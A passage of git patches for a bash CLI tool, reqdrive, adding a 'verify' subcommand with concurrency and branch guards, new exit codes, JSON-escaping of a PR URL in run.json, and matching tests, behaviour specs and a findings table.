exit "$EXIT_CONFIG_ERROR" + fi + + # Refuse to race a still-active run writing the same files. + local run_file="$agent_dir/run.json" + if [ -f "$run_file" ]; then + local existing_pid + # `|| existing_pid=""`: run.json's pr_url can embed raw newlines from + # git/gh output, which makes the file invalid JSON. Don't let that + # jq failure abort verify under set -e — fail open on the liveness + # check rather than crash on an otherwise-harmless parse quirk. + existing_pid=$(jq -r '.pid // empty' "$run_file" 2>/dev/null) || existing_pid="" + if [ -n "$existing_pid" ] && kill -0 "$existing_pid" 2>/dev/null; then + echo "ERROR: $req_slug is still active (PID $existing_pid) — refusing to verify concurrently." >&2 + exit "$EXIT_CONCURRENT_RUN" + fi + fi + + # Confirm the checkout matches the branch the run recorded, unless the + # caller explicitly asked to verify against a different ref. + if [ -n "$ref_branch" ]; then + log_info "Checking out $ref_branch for verification (--ref)" + git -C "$REQDRIVE_PROJECT_ROOT" checkout "$ref_branch" + else + local checkpoint_file="$agent_dir/checkpoint.json" + if [ -f "$checkpoint_file" ]; then + local checkpoint_branch current_branch + checkpoint_branch=$(jq -r '.branch // empty' "$checkpoint_file" 2>/dev/null) + current_branch=$(git -C "$REQDRIVE_PROJECT_ROOT" branch --show-current) + if [ -n "$checkpoint_branch" ] && [ "$checkpoint_branch" != "$current_branch" ]; then + echo "ERROR: Current branch '$current_branch' does not match the run's recorded branch '$checkpoint_branch'." >&2 + echo "Pass --ref '$checkpoint_branch' to verify against it, or check it out yourself." >&2 + exit "$EXIT_GIT_ERROR" + fi + fi + fi + + source "$REQDRIVE_ROOT/lib/verification.sh" + + local prd_file="$agent_dir/prd.json" + verify_collect "$prd_file" "${REQDRIVE_MAX_STORY_RETRIES:-3}" + + local verify_rc=0 + verify_run_tests "$agent_dir" || verify_rc=$? + + local verification_passed + case $verify_rc in + 0) verification_passed=true ;; + 1) verification_passed=false ;; + 2) verification_passed=null ;; + esac + # shellcheck disable=SC2034 # consumed by verify_write_summary via global + RUN_SUMMARY_VERIFICATION_PASSED=$verification_passed + + local max_iterations + max_iterations=$(jq -r '.iterations.max' "$summary_file") + + verify_write_summary "$agent_dir" "$req_id" "$max_iterations" merge + + case $verify_rc in + 0) + echo "Verification PASSED for $req_slug." + exit "$EXIT_SUCCESS" + ;; + 1) + echo "Verification FAILED for $req_slug. See $agent_dir/verification.test.log" >&2 + exit "$EXIT_VERIFICATION_FAILED" + ;; + 2) + echo "No testCommand configured — nothing to verify for $req_slug." + exit "$EXIT_SUCCESS" + ;; + esac +} + cmd_orchestrate() { echo "reqdrive orchestrate - Run multiple requirements in sequence" echo "" @@ -557,6 +691,10 @@ case "${1:-}" in shift cmd_plan "$@" ;; + verify) + shift + cmd_verify "$@" + ;; orchestrate) cmd_orchestrate ;; diff --git a/lib/errors.sh b/lib/errors.sh index f9a2361..9760aed 100644 --- a/lib/errors.sh +++ b/lib/errors.sh @@ -13,6 +13,8 @@ export EXIT_AGENT_ERROR=5 export EXIT_PR_ERROR=6 export EXIT_USER_ABORT=7 export EXIT_PREFLIGHT_FAILED=8 +export EXIT_VERIFICATION_FAILED=9 +export EXIT_CONCURRENT_RUN=10 # ── Error Messages ─────────────────────────────────────────────────────────── @@ -26,6 +28,8 @@ declare -A EXIT_MESSAGES=( [6]="PR creation failed" [7]="User aborted operation" [8]="Pre-flight checks failed" + [9]="Verification failed" + [10]="Another reqdrive run is active" ) # ── Helper Functions ───────────────────────────────────────────────────────── diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 51bc273..b110638 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -70,6 +70,13 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** the previous command failed (`$?` is non-zero) and I call `die_on_error "it broke"`, **Then** the process exits with code 1 and prints the message including "it broke" to stderr. +### US-ERR-10: Verification and concurrency exit codes are defined +**Test:** `errors: verification and concurrency codes are defined` + +**As** a maintainer wiring `reqdrive verify` into the exit-code contract, +**When** `lib/errors.sh` is sourced, +**Then** `EXIT_VERIFICATION_FAILED` is `9` and `EXIT_CONCURRENT_RUN` is `10`, and `get_exit_message` returns a non-empty message other than "Unknown error" for both. + --- ## Module 2: schema.sh @@ -1040,6 +1047,34 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** I run `reqdrive orchestrate`, **Then** the output contains the case-insensitive phrase `coming soon`. +### US-CLI-14: verify re-runs verification and preserves the evidence trail +**Test:** `verify: merge mode preserves the evidence trail` + +**As** an operator re-verifying a completed run, +**When** I run `reqdrive verify REQ-01` against a run whose `verification-summary.json` already records `iterations.run` and `commits.verified`, +**Then** those two fields are unchanged afterward — merge mode refreshes the pass/fail verdict without zeroing the evidence trail `pr-create` renders into the PR table. + +### US-CLI-15: verify exits 9 when the re-run test command fails +**Test:** `verify: exits 9 when verification fails` + +**As** an operator re-verifying a run whose `testCommand` now fails, +**When** I run `reqdrive verify REQ-01` and the configured `testCommand` exits non-zero, +**Then** the command exits `9` (`EXIT_VERIFICATION_FAILED`). + +### US-CLI-16: verify exits 3 for a REQ-ID with no run directory +**Test:** `verify: exits 3 for an unknown REQ-ID` + +**As** an operator who mistyped a REQ-ID, +**When** I run `reqdrive verify REQ-99` and no `.reqdrive/runs/req-99/` directory exists, +**Then** the command exits `3` (`EXIT_CONFIG_ERROR`) and the error message names `req-99`. + +### US-CLI-17: verify refuses to run while the run's PID is alive +**Test:** `verify: exits 10 while the run PID is alive` + +**As** an operator who might otherwise race a still-running pipeline, +**When** I run `reqdrive verify REQ-01` and `run.json`'s recorded `pid` belongs to a live process, +**Then** the command exits `10` (`EXIT_CONCURRENT_RUN`) instead of writing a concurrent `verification-summary.json`. + --- ## Module 7: preflight.sh diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index 11b8da6..1c18389 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -24,3 +24,4 @@ so it cannot detect a silent defect. | # | Location | Finding | Status | |---|---|---|---| | F7 | `lib/run.sh` `select_next_story` (near line 382) | `select_next_story` used `select(.passes == false and ...)` while Phase 3's completion count used `select(.passes != true)`. A story that omitted the optional `passes` field entirely was never selected for implementation (`== false` doesn't match `null`/absent) yet was counted incomplete by Phase 3 — the PR would draft forever and re-running the pipeline could never make progress on that story (a liveness hole). Fixed in this commit by changing the predicate to `select(.passes != true and ...)` to agree with Phase 3, with a red-first regression test (`story: select_next_story selects a story omitting passes`, US-RUN-31). | **Closed** | +| F8 | `lib/run.sh` `write_run_status` | `pr_url` (and possibly other fields) are interpolated into `run.json` without JSON-escaping, so a value containing an embedded newline (raw git/gh stdout) produces INVALID JSON. Any `jq` consumer of run.json then fails; under `set -e` this crashed `cmd_verify` before its guards ran (worked around in Task 30 by making verify's pid-read fail-open). Root cause is in write_run_status and affects the `status` command too. | Open — pre-existing; fix by JSON-escaping fields (jq -n or printf %q) in write_run_status | diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 1f9001c..eee8a5b 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -1,10 +1,10 @@ { "version": "0.3.0", - "generated": "2026-07-23", + "generated": "2026-07-24", "environment": { "claude": true }, - "suiteSha256": "61b02b76f33377bf34398d485d384f292333804d0a0f26483894fcb8201a9f06", + "suiteSha256": "38ce616e83ce1fd4b14f4375f75ec6779de9da5cb87f7e3d4eb7722e7687f573", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -149,6 +149,10 @@ "name": "errors: get_exit_message returns 'Unknown error' for unknown code", "story": "US-ERR-04" }, + { + "name": "errors: verification and concurrency codes are defined", + "story": "US-ERR-10" + }, { "name": "find_manifest: finds manifest in current dir", "story": "US-CFG-01" @@ -728,6 +732,22 @@ { "name": "verification: summary keeps its full shape", "story": "US-PIPE-02" + }, + { + "name": "verify: exits 10 while the run PID is alive", + "story": "US-CLI-17" + }, + { + "name": "verify: exits 3 for an unknown REQ-ID", + "story": "US-CLI-16" + }, + { + "name": "verify: exits 9 when verification fails", + "story": "US-CLI-15" + }, + { + "name": "verify: merge mode preserves the evidence trail", + "story": "US-CLI-14" } ] } diff --git a/tests/simple-test.sh b/tests/simple-test.sh index c5aaed8..267c66e 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2726,6 +2726,85 @@ test_result "preflight: silent when testCommand is configured" $? ) test_result "pr: body states why verification was not run" $? +echo "" +echo "--- Verify Command ---" + +# Test: verify re-runs verification and preserves the evidence trail +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-merge" + jq '.testCommand = "true"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: testCommand" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + s="$PH_ROOT/.reqdrive/runs/req-01/verification-summary.json" + before_iters=$(jq '.iterations.run' "$s") + before_commits=$(jq '.commits.verified' "$s") + (cd "$PH_ROOT" && PATH="$PH_BIN:$PATH" "$REQDRIVE_ROOT/bin/reqdrive" verify REQ-01) + [ "$(jq '.iterations.run' "$s")" = "$before_iters" ] + [ "$(jq '.commits.verified' "$s")" = "$before_commits" ] +) +test_result "verify: merge mode preserves the evidence trail" $? + +# Test: verify exits 9 when the test command fails +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-fail" + jq '.testCommand = "true"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: testCommand" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + jq '.testCommand = "false"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + rc=0 + (cd "$PH_ROOT" && PATH="$PH_BIN:$PATH" "$REQDRIVE_ROOT/bin/reqdrive" verify REQ-01) || rc=$? + [ "$rc" -eq 9 ] +) +test_result "verify: exits 9 when verification fails" $? + +# Test: verify exits 3 for an unknown REQ-ID +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-unknown" + rc=0 + out=$(cd "$PH_ROOT" && "$REQDRIVE_ROOT/bin/reqdrive" verify REQ-99 2>&1) || rc=$? + [ "$rc" -eq 3 ] + echo "$out" | grep -qi "req-99" +) +test_result "verify: exits 3 for an unknown REQ-ID" $? + +# Test: verify refuses while the run's PID is alive +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-live" + run_dir="$PH_ROOT/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + echo '{"version":"0.3.0"}' > "$run_dir/verification-summary.json" + cat > "$run_dir/run.json" </dev/null 2>&1) || rc=$? + [ "$rc" -eq 10 ] +) +test_result "verify: exits 10 while the run PID is alive" $? + +# Test: new exit codes exist with messages +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + [ "$EXIT_VERIFICATION_FAILED" -eq 9 ] + [ "$EXIT_CONCURRENT_RUN" -eq 10 ] + [ -n "$(get_exit_message 9)" ] && [ "$(get_exit_message 9)" != "Unknown error" ] + [ -n "$(get_exit_message 10)" ] && [ "$(get_exit_message 10)" != "Unknown error" ] +) +test_result "errors: verification and concurrency codes are defined" $? + echo "" echo "--- Doc Coverage ---" From be2be897b7184fa7115b3870b7d77780fdb31263 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 01:29:23 -0600 Subject: [PATCH 40/47] =?UTF-8?q?fix:=20P6b=20review=20=E2=80=94=20harden?= =?UTF-8?q?=20verify=20guards=20and=20JSON-escape=20run.json=20pr=5Furl?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three review findings, each with a red-first test: - cmd_verify silently no-op'd its branch guard when checkpoint.json was absent (a run with empty userStories / maxIterations=0 writes no checkpoint), so verify would record an unrelated branch's evidence. Now refuses with EXIT_CONFIG_ERROR. - --ref checkout failure aborted with git's raw exit 1, contradicting the documented 'exit 4 on branch mismatch'. Now guarded to EXIT_GIT_ERROR. - F8 root cause: write_run_status wrote pr_url into run.json without JSON-escaping, so an embedded newline made the file invalid JSON, crashing every jq consumer (verify's pid guard, the status command). Now escaped via jq -Rn. verify keeps a defensive fail-open too. Fixing F8 (making run.json valid) surfaced a latent test flaw the freeze gate caught (R2): two verify tests passed at 185 only because the invalid JSON made verify's fail-open bypass the concurrency guard. With valid JSON the guard correctly fires on run.json's pid — which in the harness is $$ (the live test runner). Both tests now set a dead pid to reflect a completed run's dead process; 'merge preserves evidence' was passing vacuously (verify refused) and is now a real merge test. --- bin/reqdrive | 9 +++++- lib/run.sh | 4 ++- tests/BEHAVIOR-SPEC.md | 21 +++++++++++++ tests/FINDINGS.md | 2 +- tests/oracle.lock.json | 14 ++++++++- tests/simple-test.sh | 71 ++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 117 insertions(+), 4 deletions(-) diff --git a/bin/reqdrive b/bin/reqdrive index 50e5016..a839635 100755 --- a/bin/reqdrive +++ b/bin/reqdrive @@ -516,7 +516,10 @@ cmd_verify() { # caller explicitly asked to verify against a different ref. if [ -n "$ref_branch" ]; then log_info "Checking out $ref_branch for verification (--ref)" - git -C "$REQDRIVE_PROJECT_ROOT" checkout "$ref_branch" + git -C "$REQDRIVE_PROJECT_ROOT" checkout "$ref_branch" 2>/dev/null || { + echo "ERROR: cannot check out ref '$ref_branch'" >&2 + exit "$EXIT_GIT_ERROR" + } else local checkpoint_file="$agent_dir/checkpoint.json" if [ -f "$checkpoint_file" ]; then @@ -528,6 +531,10 @@ cmd_verify() { echo "Pass --ref '$checkpoint_branch' to verify against it, or check it out yourself." >&2 exit "$EXIT_GIT_ERROR" fi + else + echo "ERROR: No checkpoint.json for '$req_slug' — cannot validate the branch to verify against." >&2 + echo "Pass --ref to verify explicitly." >&2 + exit "$EXIT_CONFIG_ERROR" fi fi diff --git a/lib/run.sh b/lib/run.sh index 15023d8..0ae2d31 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -44,7 +44,9 @@ write_run_status() { local exit_code_json="$exit_code" [ "$exit_code" != "null" ] && exit_code_json="$exit_code" local pr_url_json="null" - [ "$pr_url" != "null" ] && [ -n "$pr_url" ] && pr_url_json="\"$pr_url\"" + if [ "$pr_url" != "null" ] && [ -n "$pr_url" ]; then + pr_url_json=$(jq -Rn --arg u "$pr_url" '$u') + fi # Build summary block from accumulator variables (set during pipeline) local summary_json="null" diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index b110638..433e7c4 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -950,6 +950,13 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** `build_implementation_prompt` is called with a story titled `Fix $HOME handling`, **Then** the rendered prompt contains the line `**Title:** Fix $HOME handling` verbatim, contains no stray `\$` before `HOME`, and the commit-message line reads `feat: [US-9] - Fix $HOME handling` — `sanitize_for_prompt`'s `$` → `\$` escaping (still load-bearing for its other callers) is reversed at injection time so the agent never sees a backslash that was only ever needed for the old unquoted heredoc. +### US-RUN-37: write_run_status — JSON-escapes pr_url (F8 root cause) +**Test:** `run_status: pr_url with special chars stays valid JSON` + +**As** the maintainer closing out F8, +**When** `write_run_status` is called with a `pr_url` containing an embedded newline and a double-quote, +**Then** `run.json` still parses as valid JSON (`jq -e .` succeeds) and `.pr_url` round-trips the original value — `pr_url` is now interpolated via `jq -Rn --arg` instead of raw double-quoting, so raw `gh`/`git` stdout containing special characters can no longer corrupt `run.json` for every downstream `jq` consumer (`status`, `verify`'s pid guard). + --- ## Module 6: bin/reqdrive (CLI) @@ -1075,6 +1082,20 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** I run `reqdrive verify REQ-01` and `run.json`'s recorded `pid` belongs to a live process, **Then** the command exits `10` (`EXIT_CONCURRENT_RUN`) instead of writing a concurrent `verification-summary.json`. +### US-CLI-18: verify refuses a run with no checkpoint when no --ref is given +**Test:** `verify: refuses a run with no checkpoint when no --ref given` + +**As** an operator verifying a run whose Phase-2 loop never wrote a checkpoint (e.g. an empty `userStories` array or `maxIterations: 0`), +**When** I run `reqdrive verify REQ-01` with no `--ref` and `checkpoint.json` is missing, +**Then** the command exits `3` (`EXIT_CONFIG_ERROR`) instead of silently recording whatever branch happens to be checked out as that REQ-ID's evidence. + +### US-CLI-19: verify exits 4 when --ref names a nonexistent branch +**Test:** `verify: exits 4 when --ref names a nonexistent branch` + +**As** an operator who mistyped a `--ref` branch name, +**When** I run `reqdrive verify REQ-01 --ref does-not-exist` and that branch does not exist, +**Then** the command exits `4` (`EXIT_GIT_ERROR`) — matching the README's documented exit code — instead of aborting with git's raw exit status `1` under `set -euo pipefail`. + --- ## Module 7: preflight.sh diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index 1c18389..3895d4f 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -24,4 +24,4 @@ so it cannot detect a silent defect. | # | Location | Finding | Status | |---|---|---|---| | F7 | `lib/run.sh` `select_next_story` (near line 382) | `select_next_story` used `select(.passes == false and ...)` while Phase 3's completion count used `select(.passes != true)`. A story that omitted the optional `passes` field entirely was never selected for implementation (`== false` doesn't match `null`/absent) yet was counted incomplete by Phase 3 — the PR would draft forever and re-running the pipeline could never make progress on that story (a liveness hole). Fixed in this commit by changing the predicate to `select(.passes != true and ...)` to agree with Phase 3, with a red-first regression test (`story: select_next_story selects a story omitting passes`, US-RUN-31). | **Closed** | -| F8 | `lib/run.sh` `write_run_status` | `pr_url` (and possibly other fields) are interpolated into `run.json` without JSON-escaping, so a value containing an embedded newline (raw git/gh stdout) produces INVALID JSON. Any `jq` consumer of run.json then fails; under `set -e` this crashed `cmd_verify` before its guards ran (worked around in Task 30 by making verify's pid-read fail-open). Root cause is in write_run_status and affects the `status` command too. | Open — pre-existing; fix by JSON-escaping fields (jq -n or printf %q) in write_run_status | +| F8 | `lib/run.sh` `write_run_status` | `pr_url` (and possibly other fields) are interpolated into `run.json` without JSON-escaping, so a value containing an embedded newline (raw git/gh stdout) produces INVALID JSON. Any `jq` consumer of run.json then fails; under `set -e` this crashed `cmd_verify` before its guards ran (worked around in Task 30 by making verify's pid-read fail-open). Root cause is in write_run_status and affects the `status` command too. | Fixed (root cause: write_run_status now JSON-escapes pr_url; verify keeps a defensive fail-open) | diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index eee8a5b..b554390 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "38ce616e83ce1fd4b14f4375f75ec6779de9da5cb87f7e3d4eb7722e7687f573", + "suiteSha256": "2411501b05d4b230ccc254901fbe26535b0748e302ef6d645fb5e39f6da08bf7", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -401,6 +401,10 @@ "name": "run_status: includes summary when RUN_SUMMARY_* vars set", "story": "US-RUN-04" }, + { + "name": "run_status: pr_url with special chars stays valid JSON", + "story": "US-RUN-37" + }, { "name": "run_status: preserves started_at on subsequent calls", "story": "US-RUN-02" @@ -741,6 +745,10 @@ "name": "verify: exits 3 for an unknown REQ-ID", "story": "US-CLI-16" }, + { + "name": "verify: exits 4 when --ref names a nonexistent branch", + "story": "US-CLI-19" + }, { "name": "verify: exits 9 when verification fails", "story": "US-CLI-15" @@ -748,6 +756,10 @@ { "name": "verify: merge mode preserves the evidence trail", "story": "US-CLI-14" + }, + { + "name": "verify: refuses a run with no checkpoint when no --ref given", + "story": "US-CLI-18" } ] } diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 267c66e..939b830 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2362,6 +2362,32 @@ test_result "run_status: summary is null when accumulators not set" $? ) test_result "run_status: run.json with summary is valid JSON" $? +# Test: write_run_status JSON-escapes pr_url (F8 root cause fix) — a pr_url +# containing a newline and a double-quote must not break run.json's JSON. +( + set -e + mkdir -p "$TEST_TEMP/run-pr-escape" + export REQDRIVE_ROOT + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + + weird_url=$'https://x/pull/1\n"evil' + write_run_status "$TEST_TEMP/run-pr-escape" "completed" "REQ-01" "1" "0" "$weird_url" + + jq -e . "$TEST_TEMP/run-pr-escape/run.json" > /dev/null + + # tr -d '\r': on Windows, jq's own -r output translates an embedded LF to + # CRLF when piped through git-bash; strip it symmetrically so this checks + # content round-tripping, not that platform artifact. + round_tripped=$(jq -r '.pr_url' "$TEST_TEMP/run-pr-escape/run.json" | tr -d '\r') + expected=$(printf '%s' "$weird_url" | tr -d '\r') + [ "$round_tripped" = "$expected" ] +) +test_result "run_status: pr_url with special chars stays valid JSON" $? + # Test: PR body includes verification section when verification-summary.json exists ( set -e @@ -2739,6 +2765,11 @@ echo "--- Verify Command ---" ph_fake_claude full ph_fake_gh ph_run REQ-01 > /dev/null + # A completed run's process is dead. In the harness run.json's pid is $$ + # (the test runner, still alive), so mark it dead to reflect reality and + # let verify past its concurrency guard. + rj="$PH_ROOT/.reqdrive/runs/req-01/run.json" + jq '.pid = 999999' "$rj" > "$rj.t" && mv "$rj.t" "$rj" s="$PH_ROOT/.reqdrive/runs/req-01/verification-summary.json" before_iters=$(jq '.iterations.run' "$s") before_commits=$(jq '.commits.verified' "$s") @@ -2759,6 +2790,10 @@ test_result "verify: merge mode preserves the evidence trail" $? ph_fake_gh ph_run REQ-01 > /dev/null jq '.testCommand = "false"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + # A completed run's process is dead; the harness leaves run.json's pid as + # $$ (the live test runner), so mark it dead to reflect reality. + rj="$PH_ROOT/.reqdrive/runs/req-01/run.json" + jq '.pid = 999999' "$rj" > "$rj.t" && mv "$rj.t" "$rj" rc=0 (cd "$PH_ROOT" && PATH="$PH_BIN:$PATH" "$REQDRIVE_ROOT/bin/reqdrive" verify REQ-01) || rc=$? [ "$rc" -eq 9 ] @@ -2794,6 +2829,42 @@ EOF ) test_result "verify: exits 10 while the run PID is alive" $? +# Test: verify refuses a run with no checkpoint when no --ref given +# (without this, an empty-stories/maxIterations=0 run never writes +# checkpoint.json, and verify silently skipped the branch check entirely.) +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-nockpt" + run_dir="$PH_ROOT/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + echo '{"version":"0.3.0"}' > "$run_dir/verification-summary.json" + cat > "$run_dir/run.json" </dev/null 2>&1) || rc=$? + [ "$rc" -eq 3 ] +) +test_result "verify: refuses a run with no checkpoint when no --ref given" $? + +# Test: verify exits 4 (not git's raw 1) when --ref names a nonexistent branch +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-badref" + run_dir="$PH_ROOT/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + echo '{"version":"0.3.0"}' > "$run_dir/verification-summary.json" + cat > "$run_dir/run.json" </dev/null 2>&1) || rc=$? + [ "$rc" -eq 4 ] +) +test_result "verify: exits 4 when --ref names a nonexistent branch" $? + # Test: new exit codes exist with messages ( set -e From 8ca89c4630561a3862e7d007bed4a799cfa0b9ef Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 02:10:29 -0600 Subject: [PATCH 41/47] fix: validate exits EXIT_CONFIG_ERROR, not a bare 1 Aligns reqdrive validate's failure exits to EXIT_CONFIG_ERROR (3) so the policy validation Task 32 adds isn't the only field whose malformation exits 3 while every other field exits 1. Closes F5 (the existing assertion checked only -ne 0, never pinning the code) with two exit-code assertions (US-VAL-03/04). Also fixed a latent set -euo pipefail bug: the schema-error-display 'validate_config_schema ... | while read' pipeline failed under pipefail and aborted cmd_validate before the exit code was set, so a type violation exited 1 regardless. Terminated the loop with || true. --- bin/reqdrive | 2 +- lib/validate.sh | 12 +++++++++--- tests/BEHAVIOR-SPEC.md | 14 ++++++++++++++ tests/FINDINGS.md | 2 +- tests/oracle.lock.json | 10 +++++++++- tests/simple-test.sh | 24 ++++++++++++++++++++++++ 6 files changed, 58 insertions(+), 6 deletions(-) diff --git a/bin/reqdrive b/bin/reqdrive index a839635..79a1890 100755 --- a/bin/reqdrive +++ b/bin/reqdrive @@ -180,7 +180,7 @@ cmd_validate() { local manifest manifest=$(reqdrive_find_manifest) || { echo "ERROR: No reqdrive.json found. Run 'reqdrive init' to create one." >&2 - exit 1 + exit "$EXIT_CONFIG_ERROR" } export REQDRIVE_MANIFEST="$manifest" REQDRIVE_PROJECT_ROOT="$(dirname "$manifest")" diff --git a/lib/validate.sh b/lib/validate.sh index 2419c5d..b5b8d69 100644 --- a/lib/validate.sh +++ b/lib/validate.sh @@ -1,8 +1,14 @@ #!/usr/bin/env bash # validate.sh - Validate reqdrive.json config +# shellcheck disable=SC1091 set -e +# Source errors if not already loaded +if [ -z "$EXIT_CONFIG_ERROR" ]; then + source "${REQDRIVE_ROOT:-$(dirname "${BASH_SOURCE[0]}")/..}/lib/errors.sh" +fi + M="$REQDRIVE_MANIFEST" ROOT="$REQDRIVE_PROJECT_ROOT" ERRORS=0 @@ -13,7 +19,7 @@ echo "──────────────────────── # ── JSON syntax and schema ──────────────────────────────────────────── if ! jq empty "$M" 2>/dev/null; then echo "FAIL: Invalid JSON syntax" - exit 1 + exit "$EXIT_CONFIG_ERROR" fi echo " ✓ Valid JSON" @@ -23,7 +29,7 @@ if ! validate_config_schema "$M" 2>/dev/null; then # Re-run to show errors validate_config_schema "$M" 2>&1 | while IFS= read -r line; do echo " $line" - done + done || true ERRORS=$((ERRORS + 1)) else echo " ✓ Schema valid" @@ -67,5 +73,5 @@ if [ "$ERRORS" -eq 0 ]; then exit 0 else echo "Validation FAILED ($ERRORS errors)" - exit 1 + exit "$EXIT_CONFIG_ERROR" fi diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 433e7c4..d8de1f1 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1277,6 +1277,20 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** `reqdrive.json` contains invalid JSON and I source `validate.sh`, **Then** it exits with a non-zero status. +### US-VAL-03: validate exits EXIT_CONFIG_ERROR on malformed config +**Test:** `validate: exits 3 (EXIT_CONFIG_ERROR) on malformed config` + +**As** a CLI user, +**When** I run `reqdrive validate` against a `reqdrive.json` that is not valid JSON at all, +**Then** it exits with status 3 (`EXIT_CONFIG_ERROR`), not a bare 1. + +### US-VAL-04: validate exits EXIT_CONFIG_ERROR on a schema type violation +**Test:** `validate: exits 3 on a config type violation` + +**As** a CLI user, +**When** I run `reqdrive validate` against a `reqdrive.json` where a field has the wrong type (e.g. `maxIterations` is a string), +**Then** it exits with status 3 (`EXIT_CONFIG_ERROR`), not a bare 1. + ### US-HARN-01: Suite refuses to run when mktemp fails **Test:** `harness: aborts when mktemp fails` diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index 3895d4f..b159ffe 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -16,12 +16,12 @@ so it cannot detect a silent defect. | F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open | | F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open | | F4 | Suite-wide | **18 assertions** end in a pure negative (`!` or `[ -z ]`) and cannot detect a setup failure. Measured 2026-07-23 with `awk '/^ *\($/{buf="";inb=1;next} /^ *\)$/{if(inb)print buf;inb=0;next} inb{buf=$0}' tests/simple-test.sh \| grep -cE '^\s*(!\|\[ -z )'`. (Down from a higher count after Task 4 converted two impl-prompt negations to `if grep; then exit 1; fi`.) | Open — triage at Task 35 | -| F5 | `tests/simple-test.sh:346-356` | The `reqdrive validate` assertion checks only `-ne 0`, so it does not pin the exit code. | Closed by Task 31 | | F6 | `lib/run.sh` draft-PR gate, `prd_present==0` branch | With Phase 1's planning-failure abort restored, `prd_present=0` is reachable only if `prd.json` is deleted *during* implementation (after planning already succeeded) — e.g. a misbehaving agent removing it mid-run. Not currently exercised by a dedicated test; the retargeted `draft gate: planning failure aborts with no PR` test covers the pre-planning-success abort path instead. | Open — candidate for a focused test | ## Closed | # | Location | Finding | Status | |---|---|---|---| +| F5 | `tests/simple-test.sh:366-378` | The `reqdrive validate` assertion checked only `-ne 0`, so it did not pin the exit code. | **Closed** — Task 31 aligned `lib/validate.sh` and `bin/reqdrive`'s `cmd_validate` to `exit "$EXIT_CONFIG_ERROR"` (3) instead of a bare `exit 1`, and added two exit-code-pinning assertions: `validate: exits 3 (EXIT_CONFIG_ERROR) on malformed config` and `validate: exits 3 on a config type violation`. | | F7 | `lib/run.sh` `select_next_story` (near line 382) | 